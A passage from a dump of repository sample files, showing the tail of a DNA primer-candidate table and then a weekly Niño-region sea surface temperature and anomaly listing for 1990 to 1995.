35.21  7.802\n 845 tactagctagctgatcatcatctacta      210 27  0 37.04 59.196  8.79  8.11  0.00  7.804\n 846 tagctgatcatcgatgctactagcta       193 26  0 42.31 61.805 28.86 27.39 45.92  7.805\n 847 tagctagctgatcatcgatgctacta       189 26  0 42.31 61.805 18.93 16.03  0.00  7.805\n 848 atgcatgctagtagtgatgtatacgta       32 27  0 37.04 60.828 11.70  0.00  0.00  7.828\n 849 tatttagctagctgactgatcgatcat      255 27  0 37.04 60.831 26.67 18.02 36.62  7.831\n 850 ctagctagctgatcatcatctactatc      212 27  0 40.74 59.162  9.41  0.06  0.00  7.838\n 851 tagctactatcatctctgcgcgatc        354 25  0 48.00 62.854  0.00  0.00  0.00  7.854\n 852 gctgatcatcatctactatcatcat        219 25  0 36.00 57.142  0.00  0.00  0.00  7.858\n 853 ctagctactatcatctctgcgcgat        353 25  0 48.00 62.859  4.99  2.52  0.00  7.859\n 854 gctgatcatcatctactatcatcatc       219 26  0 38.46 58.126  0.00  0.00  0.00  7.874\n 855 tagctagctactgatcgatgctacat       302 26  0 42.31 62.028 27.80  3.08  0.00  8.028\n 856 agtagtgatgtatacgtagctagtag        41 26  0 38.46 57.950  9.92  1.30  0.00  8.050\n 857 ctagtagtgatgtatacgtagctagt        39 26  0 38.46 57.950 15.52 15.52  0.00  8.050\n 858 catgctagtagtgatgtatacgtagct       35 27  0 40.74 61.089  9.37  8.73  0.00  8.089\n 859 gactgatcgatcatcatgctagctac       268 26  0 46.15 62.094 24.51  8.36 41.77  8.094\n 860 tagctgatcatcatctactatcatca       217 26  0 34.62 57.906  0.00  0.00  0.00  8.094\n 861 ctagctgatcatcatctactatcatca      216 27  0 37.04 58.826  0.00  0.00  0.00  8.174\n 862 ctagctgatcatcatctagctagtagc      151 27  0 44.44 61.196 21.70 15.25 46.15  8.196\n 863 tagctagctgactgatcgatcatcat       259 26  0 42.31 62.255 28.29 20.43 41.77  8.255\n 864 ctagtgatgcatgctagtagtgatgta       26 27  0 40.74 61.255 20.00  8.84  0.00  8.255\n 865 tgcatgctagtagtgatgtatacgtag       33 27  0 40.74 61.300 20.79  0.00  0.00  8.300\n 866 ctatttagctagctgactgatcgatca      254 27  0 40.74 61.304 26.99 26.99 35.44  8.304\n 867 tagctgatcatcatcgatgctagcta       514 26  0 42.31 62.307 28.23 26.63 43.19  8.307\n 868 tagctagctgatcatcatcgatgcta       510 26  0 42.31 62.307 14.58 11.03 40.32  8.307\n 869 gctagctagctactatcatcgatcga       426 26  0 46.15 62.381 34.38 22.52 46.11  8.381\n 870 gctactagctagctgatcatcatctac      208 27  0 44.44 61.407 14.37  0.00 44.92  8.407\n 871 ttagctagctgactgatcgatcatca       258 26  0 42.31 62.416 28.29 26.49 39.98  8.416\n 872 tgactgatcgatcatcatgctagcta       267 26  0 42.31 62.472 26.79 11.24 41.77  8.472\n 873 tagctgactgatcgatcatcatgcta       263 26  0 42.31 62.472 33.83 32.61 41.77  8.472\n 874 actgatcgatcatcatgctagctact       269 26  0 42.31 62.478 26.67  0.00 41.77  8.478\n 875 gctagtgatgcatgctagtagtgatg        25 26  0 46.15 62.484 24.96  9.07  0.00  8.484\n 876 ctagctagctactgatcgatgctaca       301 26  0 46.15 62.503 14.00  5.87  0.00  8.503\n 877 gactgatcgatcgatgctagctagta       116 26  0 46.15 62.543 22.18 18.77 35.21  8.543\n 878 actgatcgatcgatgctagctagtag       117 26  0 46.15 62.548 23.29 12.42 35.21  8.548\n 879 ctagctgatcatcatctactatcatc       216 26  0 38.46 57.395  0.00  0.00  0.00  8.605\n 880 ctgatcatcatcgatgctagctagtag      517 27  0 44.44 61.665 10.30  1.36 40.32  8.665\n 881 ctactagctagctgatcatcatcgatg      506 27  0 44.44 61.665 20.23 20.23 41.48  8.665\n 882 ctgatcgatcatcatgctagctactag      270 27  0 44.44 61.665 26.67  8.14 41.77  8.665\n 883 tagctgatcatcatctactatcatcat      217 27  0 33.33 58.315  0.00  0.00  0.00  8.685\n 884 tgatgcatgctagtagtgatgtatacg       30 27  0 40.74 61.778  9.81  0.00  0.00  8.778\n 885 gatgcatgctagtagtgatgtatacgt       31 27  0 40.74 61.779  7.40  0.00  0.00  8.779\n 886 gctactagctagctgatcatcatcga       505 26  0 46.15 62.779 14.37  0.00 44.92  8.779\n 887 agctgatcatcgatgctactagctag       194 26  0 46.15 62.784 24.59 20.04 45.92  8.784\n 888 ctagctgatcatcgatgctactagct       192 26  0 46.15 62.784 27.00 27.00 45.92  8.784\n 889 agctagctgatcatcgatgctactag       190 26  0 46.15 62.784 20.13 20.13  0.00  8.784\n 890 ctagctagctgatcatcgatgctact       188 26  0 46.15 62.784 17.55 15.53  0.00  8.784\n 891 atttagctagctgactgatcgatcatc      256 27  0 40.74 61.785 23.93 21.92 36.62  8.785\n 892 tctactatcatcatcatctactagct       230 26  0 34.62 57.155  0.00  0.00  0.00  8.845\n 893 tgctagtgatgcatgctagtagtgat        24 26  0 42.31 62.874 24.96  8.51 35.89  8.874\n 894 ctgatcatcatctactatcatcatca       220 26  0 34.62 57.026  0.00  0.00  0.00  8.974\n 895 agctagctactgatcgatgctacatc       303 26  0 46.15 62.999 17.56  7.89 37.97  8.999\n 896 tagtagtgatgtatacgtagctagtag       40 27  0 37.04 57.869 16.78  1.30  0.00  9.131\n 897 ctagtagtgatgtatacgtagctagta       39 27  0 37.04 57.869 16.85 15.97  0.00  9.131\n 898 actgatcgatcatcatgctagctacta      269 27  0 40.74 62.236 26.67  1.37 41.77  9.236\n 899 gcatgctagtagtgatgtatacgtagc       34 27  0 44.44 62.283 11.60  4.93  0.00  9.283\n 900 gctatttagctagctgactgatcgatc      253 27  0 44.44 62.291 19.32 19.32 46.11  9.291\n 901 atctactatcatcatcatctactagct      229 27  0 33.33 57.592  0.00  0.00  0.00  9.408\n 902 catctactatcatcatcatctactagc      228 27  0 37.04 57.549  0.00  0.00  0.00  9.451\n 903 tgatcatcatctactatcatcatcatc      221 27  0 33.33 57.467  0.00  0.00  0.00  9.533\n 904 tagctgatcatcgatgctactagctag      193 27  0 44.44 62.534 27.70 20.04 45.92  9.534\n 905 ctagctgatcatcgatgctactagcta      192 27  0 44.44 62.534 27.76 26.73 45.92  9.534\n 906 tagctagctgatcatcgatgctactag      189 27  0 44.44 62.534 20.13 20.13  0.00  9.534\n 907 ctagctagctgatcatcgatgctacta      188 27  0 44.44 62.534 17.74 15.95  0.00  9.534\n 908 ctgatcatcatctactatcatcatcat      220 27  0 33.33 57.462  0.00  0.00  0.00  9.538\n 909 gctagctagctactatcatcgatcgat      426 27  0 44.44 62.627 34.38 25.37 46.11  9.627\n 910 ttagctagctgactgatcgatcatcat      258 27  0 40.74 62.665 28.29 20.43 41.77  9.665\n 911 tagctagctactgatcgatgctacatc      302 27  0 44.44 62.742 27.80  7.89 37.97  9.742\n 912 ctagctagctactgatcgatgctacat      301 27  0 44.44 62.747 14.00  2.51  0.00  9.747\n 913 gatcatcatctactatcatcatcatct      222 27  0 33.33 57.242  0.00  0.00  0.00  9.758\n 914 tttagctagctgactgatcgatcatca      257 27  0 40.74 62.820 26.49 26.49 39.98  9.820\n 915 tctactatcatcatcatctactagcta      230 27  0 33.33 57.100  0.00  0.00  0.00  9.900\n"
  },
  {
    "path": "samples/Formatted/wksst8110.for",
    "content": " Weekly SST data starts week centered on 3Jan1990\n\n                Nino1+2      Nino3        Nino34        Nino4\n Week          SST SSTA     SST SSTA     SST SSTA     SST SSTA\n 03JAN1990     23.4-0.4     25.1-0.3     26.6 0.0     28.6 0.3\n 10JAN1990     23.4-0.8     25.2-0.3     26.6 0.1     28.6 0.3\n 17JAN1990     24.2-0.3     25.3-0.3     26.5-0.1     28.6 0.3\n 24JAN1990     24.4-0.5     25.5-0.4     26.5-0.1     28.4 0.2\n 31JAN1990     25.1-0.2     25.8-0.2     26.7 0.1     28.4 0.2\n 07FEB1990     25.8 0.2     26.1-0.1     26.8 0.1     28.4 0.3\n 14FEB1990     25.9-0.1     26.4 0.0     26.9 0.2     28.5 0.4\n 21FEB1990     26.1-0.1     26.7 0.2     27.1 0.3     28.9 0.8\n 28FEB1990     26.1-0.2     26.7-0.1     27.2 0.3     29.0 0.8\n 07MAR1990     26.7 0.3     26.7-0.2     27.3 0.2     28.9 0.7\n 14MAR1990     26.1-0.4     26.9-0.2     27.3 0.1     28.6 0.4\n 21MAR1990     26.1-0.2     27.2 0.0     27.6 0.3     28.7 0.5\n 28MAR1990     25.7-0.4     27.5 0.2     27.8 0.3     28.8 0.5\n 04APR1990     25.6-0.3     27.6 0.3     27.9 0.4     28.8 0.4\n 11APR1990     25.1-0.6     27.6 0.2     27.9 0.2     28.8 0.3\n 18APR1990     25.3 0.0     27.7 0.2     28.0 0.2     28.9 0.4\n 25APR1990     25.1 0.0     27.7 0.4     28.2 0.4     29.2 0.6\n 02MAY1990     24.6-0.2     27.6 0.3     28.1 0.3     29.0 0.4\n 09MAY1990     24.2-0.2     27.5 0.3     28.1 0.3     28.9 0.2\n 16MAY1990     24.3 0.1     27.4 0.3     28.0 0.2     28.8 0.1\n 23MAY1990     23.7-0.2     27.2 0.2     28.1 0.3     29.0 0.2\n 30MAY1990     23.4-0.1     27.1 0.3     27.9 0.2     28.9 0.1\n 06JUN1990     23.2 0.0     26.7 0.1     27.7 0.0     28.9 0.1\n 13JUN1990     22.8-0.2     26.6 0.1     27.7 0.0     29.0 0.1\n 20JUN1990     22.5-0.1     26.4 0.0     27.5-0.1     29.0 0.1\n 27JUN1990     22.1-0.3     26.0-0.1     27.3-0.2     28.9 0.1\n 04JUL1990     21.7-0.4     25.8-0.2     27.3-0.1     28.9 0.1\n 11JUL1990     21.3-0.5     25.4-0.3     27.2-0.1     28.8 0.0\n 18JUL1990     21.0-0.5     25.7 0.1     27.4 0.2     29.1 0.3\n 25JUL1990     20.2-1.1     25.1-0.4     27.3 0.1     29.1 0.3\n 01AUG1990     20.6-0.6     25.1-0.2     27.1 0.1     29.0 0.3\n 08AUG1990     20.4-0.5     25.2 0.1     27.2 0.3     29.3 0.6\n 15AUG1990     20.4-0.3     25.1 0.1     27.0 0.2     29.2 0.5\n 22AUG1990     19.8-0.7     24.9 0.0     27.0 0.2     29.2 0.5\n 29AUG1990     20.2-0.3     25.0 0.1     26.9 0.2     29.0 0.4\n 05SEP1990     19.7-0.8     24.9 0.0     26.7 0.0     28.9 0.3\n 12SEP1990     20.1-0.3     24.7-0.2     26.7 0.0     29.1 0.4\n 19SEP1990     20.3-0.1     24.9 0.1     26.8 0.0     29.1 0.4\n 26SEP1990     20.3-0.2     24.8-0.1     26.7 0.0     29.0 0.3\n 03OCT1990     20.8 0.1     25.1 0.2     26.9 0.2     29.2 0.5\n 10OCT1990     20.1-0.6     24.9 0.0     27.0 0.3     29.1 0.5\n 17OCT1990     20.3-0.6     24.9 0.0     27.0 0.3     29.3 0.6\n 24OCT1990     20.1-0.9     24.9-0.1     27.0 0.4     29.3 0.6\n 31OCT1990     20.2-1.0     24.7-0.2     26.9 0.2     29.2 0.6\n 07NOV1990     20.5-0.8     25.0 0.1     26.9 0.3     29.1 0.5\n 14NOV1990     20.8-0.8     24.8-0.1     26.7 0.0     29.0 0.4\n 21NOV1990     20.9-0.9     24.6-0.4     26.6 0.0     29.0 0.4\n 28NOV1990     21.5-0.6     24.8-0.3     26.5-0.1     28.9 0.4\n 05DEC1990     22.2-0.2     25.2 0.1     26.9 0.3     29.2 0.7\n 12DEC1990     22.1-0.5     25.0-0.1     26.8 0.3     29.3 0.8\n 19DEC1990     22.2-0.8     24.9-0.3     26.9 0.4     29.2 0.7\n 26DEC1990     23.3 0.0     25.3 0.0     27.0 0.4     29.0 0.6\n 02JAN1991     23.2-0.5     25.3-0.1     26.9 0.4     28.9 0.5\n 09JAN1991     23.5-0.6     25.4-0.1     27.0 0.4     29.1 0.8\n 16JAN1991     23.7-0.7     25.7 0.1     27.0 0.5     29.0 0.8\n 23JAN1991     24.2-0.6     25.8 0.0     27.1 0.5     29.0 0.8\n 30JAN1991     24.7-0.5     26.0 0.0     27.0 0.3     28.9 0.7\n 06FEB1991     25.4-0.2     26.1 0.0     27.0 0.3     28.8 0.6\n 13FEB1991     26.0 0.0     26.3 0.0     27.0 0.3     28.8 0.7\n 20FEB1991     26.5 0.3     26.3-0.2     26.9 0.1     28.7 0.6\n 27FEB1991     26.5 0.2     26.5-0.2     26.8-0.1     28.5 0.4\n 06MAR1991     26.5 0.2     26.6-0.3     26.8-0.2     28.5 0.3\n 13MAR1991     26.8 0.4     27.0-0.1     27.1-0.1     28.5 0.3\n 20MAR1991     26.6 0.2     27.1-0.1     27.4 0.1     28.6 0.4\n 27MAR1991     26.2 0.1     27.4 0.1     27.7 0.3     28.9 0.6\n 03APR1991     25.8-0.1     27.3 0.0     27.8 0.2     28.9 0.5\n 10APR1991     25.2-0.5     27.0-0.4     27.8 0.1     29.1 0.7\n 17APR1991     24.9-0.5     27.5 0.0     28.2 0.4     29.2 0.7\n 24APR1991     24.3-0.8     27.4 0.0     28.1 0.3     29.2 0.6\n 01MAY1991     24.6-0.2     27.6 0.4     28.1 0.3     29.1 0.4\n 08MAY1991     24.4-0.2     27.5 0.3     28.3 0.5     29.3 0.6\n 15MAY1991     24.5 0.2     27.5 0.4     28.4 0.5     29.5 0.7\n 22MAY1991     24.3 0.4     27.7 0.7     28.5 0.7     29.5 0.7\n 29MAY1991     24.2 0.5     27.6 0.8     28.5 0.7     29.5 0.7\n 05JUN1991     23.7 0.4     27.5 0.8     28.3 0.6     29.3 0.5\n 12JUN1991     23.2 0.2     27.4 0.9     28.3 0.6     29.3 0.5\n 19JUN1991     23.0 0.3     27.2 0.9     28.4 0.8     29.4 0.5\n 26JUN1991     22.2-0.2     27.3 1.1     28.4 0.9     29.4 0.6\n 03JUL1991     22.8 0.7     27.0 1.0     28.1 0.7     29.2 0.4\n 10JUL1991     22.3 0.4     26.8 1.0     28.1 0.8     29.2 0.4\n 17JUL1991     21.9 0.3     26.6 1.0     27.9 0.7     29.3 0.5\n 24JUL1991     21.6 0.3     26.2 0.7     27.7 0.5     29.2 0.5\n 31JUL1991     21.6 0.5     26.1 0.8     27.9 0.9     29.5 0.7\n 07AUG1991     21.2 0.3     25.6 0.4     27.5 0.6     29.3 0.6\n 14AUG1991     21.3 0.5     25.4 0.4     27.6 0.7     29.3 0.6\n 21AUG1991     20.9 0.3     25.4 0.5     27.4 0.6     29.3 0.6\n 28AUG1991     20.7 0.2     25.2 0.3     27.0 0.3     29.0 0.3\n 04SEP1991     20.9 0.4     25.1 0.2     27.1 0.3     29.1 0.5\n 11SEP1991     20.7 0.3     24.7-0.1     26.9 0.1     29.0 0.4\n 18SEP1991     20.7 0.3     25.1 0.2     27.2 0.5     29.4 0.7\n 25SEP1991     20.8 0.3     25.2 0.3     27.1 0.4     29.2 0.5\n 02OCT1991     20.8 0.2     25.3 0.4     27.2 0.5     29.3 0.6\n 09OCT1991     21.1 0.4     25.6 0.7     27.7 1.0     29.5 0.8\n 16OCT1991     20.7-0.1     25.5 0.6     27.8 1.1     29.6 1.0\n 23OCT1991     21.2 0.2     25.7 0.8     27.6 0.9     29.4 0.7\n 30OCT1991     21.9 0.7     25.9 1.0     27.8 1.1     29.4 0.8\n 06NOV1991     22.0 0.7     25.8 0.9     27.8 1.1     29.5 0.8\n 13NOV1991     21.9 0.4     25.9 1.0     27.8 1.1     29.5 0.9\n 20NOV1991     22.5 0.7     26.1 1.1     27.9 1.3     29.4 0.8\n 27NOV1991     22.3 0.3     26.1 1.1     28.0 1.4     29.4 0.9\n 04DEC1991     22.8 0.5     26.2 1.1     28.1 1.5     29.4 0.9\n 11DEC1991     23.4 0.8     26.5 1.4     28.3 1.7     29.4 0.9\n 18DEC1991     23.7 0.8     26.6 1.5     28.5 2.0     29.5 1.0\n 25DEC1991     23.6 0.3     26.7 1.4     28.5 1.9     29.6 1.2\n 01JAN1992     24.0 0.3     26.7 1.3     28.5 1.9     29.3 1.0\n 08JAN1992     24.2 0.2     26.8 1.3     28.5 1.9     29.2 0.9\n 15JAN1992     24.6 0.2     26.9 1.3     28.4 1.9     29.1 0.8\n 22JAN1992     25.3 0.5     27.1 1.3     28.4 1.8     29.0 0.7\n 29JAN1992     25.9 0.7     27.4 1.4     28.3 1.7     28.7 0.6\n 05FEB1992     26.3 0.8     27.5 1.3     28.4 1.7     28.8 0.7\n 12FEB1992     26.4 0.5     27.6 1.3     28.6 1.9     29.0 0.9\n 19FEB1992     26.8 0.6     27.8 1.3     28.8 2.0     29.2 1.1\n 26FEB1992     27.3 1.1     27.9 1.2     28.8 1.9     29.1 1.0\n 04MAR1992     27.3 1.0     27.9 1.1     28.6 1.6     29.1 0.9\n 11MAR1992     27.7 1.2     28.1 1.0     28.7 1.6     29.2 1.0\n 18MAR1992     27.9 1.4     28.5 1.3     28.8 1.6     28.9 0.7\n 25MAR1992     28.1 1.9     28.7 1.4     29.0 1.6     29.1 0.8\n 01APR1992     27.9 1.9     28.7 1.3     29.1 1.6     29.4 1.0\n 08APR1992     28.3 2.6     28.8 1.4     29.3 1.6     29.6 1.2\n 15APR1992     28.0 2.5     28.8 1.3     29.2 1.4     29.5 1.0\n 22APR1992     27.1 1.9     28.6 1.2     29.0 1.2     29.3 0.8\n 29APR1992     27.0 2.1     28.8 1.5     29.1 1.2     29.2 0.6\n 06MAY1992     27.0 2.4     28.8 1.6     29.2 1.3     29.4 0.7\n 13MAY1992     26.6 2.3     28.6 1.5     29.1 1.2     29.5 0.8\n 20MAY1992     25.8 1.8     28.2 1.2     29.0 1.1     29.5 0.8\n 27MAY1992     25.9 2.2     28.1 1.3     28.8 1.1     29.5 0.7\n 03JUN1992     24.2 0.9     27.5 0.8     28.6 0.9     29.4 0.6\n 10JUN1992     24.2 1.2     26.8 0.3     28.3 0.6     29.4 0.6\n 17JUN1992     23.9 1.1     26.6 0.2     27.8 0.2     29.2 0.4\n 24JUN1992     23.5 1.0     26.2 0.0     27.6 0.1     29.2 0.4\n 01JUL1992     22.3 0.1     25.8-0.2     27.6 0.1     29.2 0.4\n 08JUL1992     23.0 1.1     26.2 0.4     28.0 0.7     29.5 0.7\n 15JUL1992     21.4-0.3     25.7 0.0     27.7 0.5     29.5 0.7\n 22JUL1992     21.6 0.2     25.1-0.4     27.2 0.0     29.2 0.5\n 29JUL1992     21.5 0.3     24.9-0.5     27.1 0.1     29.2 0.5\n 05AUG1992     20.8-0.2     24.6-0.6     26.7-0.2     29.1 0.4\n 12AUG1992     20.8 0.0     24.9-0.2     26.6-0.3     28.8 0.1\n 19AUG1992     20.3-0.4     24.6-0.4     26.6-0.3     28.8 0.2\n 26AUG1992     20.3-0.3     24.8-0.2     26.7-0.1     28.9 0.3\n 02SEP1992     20.3-0.2     24.4-0.5     26.3-0.4     28.6 0.0\n 09SEP1992     19.7-0.8     24.4-0.5     26.4-0.3     28.7 0.1\n 16SEP1992     20.1-0.2     24.5-0.3     26.5-0.2     28.9 0.2\n 23SEP1992     20.1-0.3     24.6-0.3     26.5-0.2     28.9 0.2\n 30SEP1992     20.2-0.4     24.7-0.2     26.6-0.1     28.7 0.0\n 07OCT1992     20.5-0.2     24.5-0.4     26.4-0.3     28.8 0.1\n 14OCT1992     20.7 0.0     24.6-0.3     26.4-0.3     28.6-0.1\n 21OCT1992     20.9 0.0     24.6-0.4     26.2-0.5     28.8 0.1\n 28OCT1992     21.5 0.4     24.8-0.1     26.2-0.4     28.5-0.1\n 04NOV1992     21.2-0.1     24.7-0.2     26.3-0.4     28.6 0.0\n 11NOV1992     21.2-0.3     24.8-0.1     26.6-0.1     28.8 0.2\n 18NOV1992     21.2-0.5     24.7-0.3     26.4-0.2     28.5-0.1\n 25NOV1992     22.1 0.2     24.9-0.2     26.7 0.0     28.8 0.2\n 02DEC1992     22.2 0.0     24.9-0.2     26.7 0.1     28.9 0.4\n 09DEC1992     22.2-0.3     25.1 0.0     26.8 0.2     28.7 0.2\n 16DEC1992     22.3-0.5     24.9-0.3     26.7 0.1     28.7 0.3\n 23DEC1992     22.5-0.7     25.1-0.2     26.8 0.2     28.9 0.4\n 30DEC1992     23.3-0.2     25.1-0.3     26.6 0.0     28.6 0.2\n 06JAN1993     23.6-0.3     25.4-0.1     26.7 0.1     28.5 0.2\n 13JAN1993     24.4 0.1     25.6 0.0     26.8 0.2     28.7 0.4\n 20JAN1993     24.5-0.2     25.5-0.2     26.6 0.0     28.6 0.3\n 27JAN1993     25.2 0.1     25.8-0.2     26.7 0.0     28.6 0.4\n 03FEB1993     26.2 0.8     26.3 0.2     26.9 0.3     28.5 0.3\n 10FEB1993     26.6 0.7     26.4 0.2     26.8 0.1     28.3 0.2\n 17FEB1993     26.6 0.4     26.9 0.5     27.0 0.2     28.3 0.2\n 24FEB1993     26.6 0.4     26.7 0.1     27.1 0.2     28.5 0.4\n 03MAR1993     26.9 0.6     26.9 0.1     27.2 0.2     28.4 0.3\n 10MAR1993     27.2 0.7     27.3 0.3     27.4 0.3     28.4 0.3\n 17MAR1993     27.1 0.6     27.5 0.3     27.7 0.4     28.6 0.4\n 24MAR1993     27.2 1.0     28.0 0.7     28.0 0.7     28.8 0.5\n 31MAR1993     27.7 1.7     28.3 1.0     28.2 0.7     28.9 0.6\n 07APR1993     26.6 0.9     28.4 1.0     28.3 0.6     28.7 0.3\n 14APR1993     26.3 0.7     28.5 1.0     28.8 1.1     29.0 0.5\n 21APR1993     26.3 1.0     28.4 1.0     28.7 0.9     29.0 0.5\n 28APR1993     26.0 1.1     28.5 1.2     28.8 1.0     29.0 0.4\n 05MAY1993     25.9 1.2     28.5 1.2     28.8 1.0     28.9 0.3\n 12MAY1993     25.6 1.2     28.3 1.2     28.9 1.0     29.1 0.4\n 19MAY1993     24.9 0.8     28.1 1.1     28.8 1.0     29.2 0.4\n 26MAY1993     24.3 0.6     27.9 1.0     28.9 1.1     29.2 0.4\n 02JUN1993     24.5 1.1     27.7 0.9     28.6 0.9     29.2 0.4\n 09JUN1993     23.9 0.7     27.2 0.6     28.3 0.6     29.1 0.2\n 16JUN1993     23.6 0.8     27.1 0.6     28.2 0.6     29.1 0.2\n 23JUN1993     23.8 1.3     26.9 0.7     28.2 0.7     29.3 0.5\n 30JUN1993     23.0 0.7     26.7 0.6     28.1 0.6     29.3 0.5\n 07JUL1993     22.4 0.4     26.1 0.3     27.9 0.6     29.3 0.5\n 14JUL1993     22.2 0.5     25.8 0.1     27.4 0.2     29.2 0.4\n 21JUL1993     22.0 0.6     25.6 0.1     27.5 0.4     29.2 0.4\n 28JUL1993     21.3 0.0     25.3-0.1     27.2 0.1     29.1 0.4\n 04AUG1993     21.2 0.2     25.0-0.3     26.8-0.2     28.9 0.2\n 11AUG1993     20.8 0.0     25.0-0.1     26.9 0.0     29.0 0.3\n 18AUG1993     21.1 0.5     24.8-0.1     26.8 0.0     28.7 0.1\n 25AUG1993     21.2 0.6     24.9 0.0     26.9 0.1     29.1 0.4\n 01SEP1993     20.9 0.4     24.9 0.0     26.9 0.2     29.1 0.4\n 08SEP1993     20.8 0.3     25.0 0.1     26.8 0.1     29.0 0.4\n 15SEP1993     20.8 0.4     24.9 0.0     26.9 0.2     29.1 0.5\n 22SEP1993     21.0 0.5     25.0 0.2     27.0 0.3     29.1 0.4\n 29SEP1993     20.7 0.2     25.1 0.2     27.0 0.3     29.0 0.3\n 06OCT1993     20.6-0.1     25.2 0.3     26.9 0.2     28.8 0.1\n 13OCT1993     20.8 0.0     25.3 0.4     27.0 0.3     29.0 0.3\n 20OCT1993     21.2 0.3     25.0 0.1     26.6 0.0     28.9 0.2\n 27OCT1993     21.3 0.2     25.3 0.4     27.1 0.4     29.0 0.3\n 03NOV1993     22.0 0.8     25.4 0.4     27.2 0.5     29.0 0.3\n 10NOV1993     21.4 0.0     25.1 0.1     26.9 0.2     28.8 0.2\n 17NOV1993     21.7 0.0     25.1 0.2     26.9 0.2     28.9 0.3\n 24NOV1993     21.4-0.5     25.1 0.0     26.7 0.1     29.0 0.5\n 01DEC1993     21.8-0.4     25.3 0.2     26.9 0.3     29.2 0.6\n 08DEC1993     22.1-0.3     25.3 0.2     26.9 0.4     29.0 0.5\n 15DEC1993     23.1 0.4     25.3 0.2     26.8 0.3     28.9 0.4\n 22DEC1993     23.0-0.2     25.3 0.1     26.6 0.1     28.9 0.4\n 29DEC1993     23.3-0.2     25.4 0.0     26.5-0.1     28.6 0.2\n 05JAN1994     23.8 0.0     25.7 0.2     26.7 0.1     28.7 0.3\n 12JAN1994     23.9-0.3     25.7 0.1     26.7 0.2     28.5 0.2\n 19JAN1994     24.6 0.0     25.7-0.1     26.5-0.1     28.5 0.2\n 26JAN1994     24.8-0.2     25.8-0.1     26.5-0.2     28.2 0.0\n 02FEB1994     25.4 0.0     25.9-0.1     26.6 0.0     28.2 0.0\n 09FEB1994     25.9 0.1     26.2 0.0     26.7 0.0     28.1 0.0\n 16FEB1994     25.6-0.5     26.1-0.3     26.6-0.1     28.0 0.0\n 23FEB1994     26.1-0.1     25.9-0.7     26.4-0.5     27.9-0.2\n 02MAR1994     26.2-0.1     26.6-0.2     26.6-0.3     27.9-0.2\n 09MAR1994     25.5-0.9     27.0 0.1     27.2 0.1     28.2 0.1\n 16MAR1994     25.7-0.9     27.0-0.1     27.4 0.2     28.4 0.2\n 23MAR1994     25.0-1.2     26.8-0.4     27.3-0.1     28.3 0.0\n 30MAR1994     24.8-1.3     27.0-0.3     27.7 0.2     28.3 0.0\n 06APR1994     24.9-0.9     27.0-0.4     27.6 0.0     28.5 0.1\n 13APR1994     24.7-0.9     27.2-0.3     28.0 0.2     28.6 0.2\n 20APR1994     24.2-1.1     27.0-0.4     28.0 0.2     28.6 0.1\n 27APR1994     23.4-1.6     27.1-0.2     28.1 0.3     28.7 0.2\n 04MAY1994     23.4-1.3     27.0-0.3     27.9 0.1     28.8 0.1\n 11MAY1994     23.6-0.8     26.8-0.3     27.8 0.0     28.9 0.2\n 18MAY1994     23.0-1.1     27.2 0.1     28.2 0.4     29.0 0.2\n 25MAY1994     23.0-0.8     26.9 0.0     28.1 0.3     29.1 0.3\n 01JUN1994     22.8-0.7     26.9 0.1     28.3 0.5     29.3 0.5\n 08JUN1994     22.7-0.5     26.7 0.1     28.0 0.3     29.1 0.3\n 15JUN1994     22.7-0.1     26.8 0.4     28.2 0.6     29.1 0.3\n 22JUN1994     22.2-0.4     26.2-0.1     27.9 0.3     29.2 0.4\n 29JUN1994     21.7-0.6     25.9-0.2     27.6 0.1     29.2 0.4\n 06JUL1994     21.9-0.1     25.6-0.3     27.4 0.1     29.3 0.5\n 13JUL1994     21.3-0.4     25.2-0.5     27.3 0.1     29.4 0.6\n 20JUL1994     20.9-0.6     25.1-0.4     27.4 0.2     29.5 0.8\n 27JUL1994     20.8-0.5     24.8-0.6     27.2 0.1     29.4 0.6\n 03AUG1994     20.1-1.0     24.5-0.8     27.3 0.3     29.4 0.7\n 10AUG1994     19.2-1.6     24.8-0.3     27.6 0.7     29.5 0.8\n 17AUG1994     19.6-1.1     24.8-0.2     27.4 0.6     29.5 0.9\n 24AUG1994     20.0-0.5     24.8-0.2     27.3 0.5     29.5 0.8\n 31AUG1994     19.6-0.9     24.7-0.2     27.1 0.3     29.4 0.7\n 07SEP1994     20.1-0.4     24.6-0.3     26.9 0.2     29.3 0.6\n 14SEP1994     20.0-0.3     24.6-0.2     26.9 0.1     29.2 0.5\n 21SEP1994     20.5 0.1     24.9 0.0     27.0 0.2     29.2 0.5\n 28SEP1994     20.2-0.3     25.2 0.3     27.2 0.5     29.2 0.6\n 05OCT1994     21.0 0.3     25.4 0.5     27.3 0.6     29.4 0.8\n 12OCT1994     21.7 0.9     25.6 0.7     27.5 0.8     29.4 0.8\n 19OCT1994     21.8 0.9     25.6 0.6     27.5 0.8     29.4 0.8\n 26OCT1994     21.7 0.7     25.6 0.6     27.6 1.0     29.5 0.9\n 02NOV1994     22.1 0.9     25.7 0.7     27.8 1.1     29.6 1.0\n 09NOV1994     22.1 0.7     26.0 1.0     27.9 1.3     29.5 0.9\n 16NOV1994     22.3 0.7     25.8 0.8     27.8 1.1     29.6 1.0\n 23NOV1994     22.8 0.9     25.9 0.9     27.9 1.2     29.7 1.1\n 30NOV1994     22.9 0.7     26.0 0.9     28.0 1.4     29.8 1.3\n 07DEC1994     23.3 0.9     26.0 0.9     27.9 1.3     29.6 1.1\n 14DEC1994     23.4 0.7     25.9 0.8     27.9 1.3     29.5 1.1\n 21DEC1994     23.7 0.6     26.2 1.0     27.9 1.3     29.3 0.9\n 28DEC1994     24.3 0.9     26.3 0.9     27.8 1.3     29.3 0.9\n 04JAN1995     24.7 0.8     26.1 0.7     27.6 1.1     29.3 0.9\n 11JAN1995     25.1 0.9     26.2 0.7     27.6 1.0     29.2 0.9\n 18JAN1995     25.3 0.8     26.4 0.7     27.6 1.0     29.3 1.0\n 25JAN1995     25.9 0.9     26.5 0.6     27.5 0.8     29.1 0.8\n 01FEB1995     26.2 0.9     26.7 0.7     27.4 0.8     29.0 0.9\n 08FEB1995     26.7 0.9     26.9 0.7     27.4 0.7     29.1 1.0\n 15FEB1995     26.5 0.4     26.8 0.4     27.3 0.5     28.9 0.8\n 22FEB1995     26.4 0.2     26.9 0.3     27.5 0.7     29.0 0.9\n 01MAR1995     26.0-0.2     26.9 0.2     27.7 0.7     29.0 0.9\n 08MAR1995     26.0-0.4     26.7-0.2     27.4 0.4     28.9 0.7\n 15MAR1995     26.6 0.1     27.1 0.0     27.7 0.5     29.0 0.9\n 22MAR1995     26.4 0.1     27.2-0.1     27.7 0.3     29.0 0.8\n 29MAR1995     25.4-0.6     27.4 0.1     27.7 0.2     28.8 0.5\n 05APR1995     24.9-1.0     